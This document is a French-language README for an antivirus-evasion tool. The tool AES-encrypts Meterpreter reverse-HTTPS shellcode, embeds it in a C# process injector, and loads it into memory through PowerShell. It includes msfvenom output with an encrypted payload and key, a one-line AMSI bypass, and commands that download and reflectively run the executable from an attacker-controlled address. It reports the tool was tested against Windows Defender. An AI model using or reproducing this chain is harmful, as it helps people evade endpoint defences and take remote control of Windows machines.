
Un simple encrypteur/décrypteur/exécuteur de shellcode pour contourner les antivirus.
Un simple encrypteur/décrypteur/exécuteur de shellcode pour contourner les antivirus.
Remarque : J'ai complètement refondu le flux de travail pour créer le contournement ; j'ai trouvé que l'injection du binaire en mémoire via PowerShell était la méthode la plus efficace.
Générer un binaire .Net contenant un shellcode encodé en base64 et chiffré AES qui s'exécutera sur une cible Windows, en contournant l'antivirus.
Utilisez meterpreter_encryptor.py pour créer le shellcode chiffré en base64 :
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64
[+] Génération de la charge utile MSFVENOM...
[-] Aucune plateforme sélectionnée, choix de Msf::Module::Platform::Windows depuis la charge utile
[-] Aucune architecture sélectionnée, sélection de l'architecture x64 depuis la charge utile
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 667 (iteration=0)
x64/xor_dynamic chosen with final size 667
Payload size: 667 bytes
Saved as: ./msf.bin
[+] Chiffrement de la charge utile, clé=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...
[+] Sortie base64 :
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg
Prenez la clé et le shellcode et insérez-les dans ProcessInjector.cs
// déchiffrer la charge utile base64
string payload = "sZkMii [etc...]";
string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec";
Compilez le code C# en un exécutable (par ex., metInject.exe) et servez-le via un serveur web.
Injectez l'exécutable dans un processus PowerShell distant :
# contournement AMSI
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true)
$bytes = (Invoke-WebRequest "http://192.168.1.228/metInject.exe").Content;
$assembly = [System.Reflection.Assembly]::Load($bytes);
$entryPointMethod = $assembly.GetType('ProcessInjection.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic');
$entryPointMethod.Invoke($null, (, [string[]] ('', '')));
Espérons que vous obtiendrez un joli shell meterpreter.
./meterpreter_encryptor.py -h
usage: meterpreter_encryptor.py [-h] [-l LPORT] [-i LHOST] [-p PAYLOAD] [-m METHOD] [-k KEY] [-e ENCODER] [-f FORMAT]
optional arguments:
-h, --help affiche ce message d'aide et quitte
-l LPORT, --lport LPORT
Le port local sur lequel msfconsole écoute.
-i LHOST, --lhost LHOST
L'hôte local sur lequel msfconsole écoute.
-p PAYLOAD, --payload PAYLOAD
La charge utile à générer dans msfvenom.
-m METHOD, --method METHOD
La méthode à utiliser : thread/delegate.
-k KEY, --key KEY La clé de chiffrement (32 caractères).
-e ENCODER, --encoder ENCODER
L'encodeur meterpreter.
-f FORMAT, --format FORMAT
Le format de sortie.
Le binaire a été scanné avec antiscan.me le 03/10/2021.

Testé avec windows/x64/meterpreter/reverse_https sur Windows 10 Pro (build 10.0.19042) avec Defender.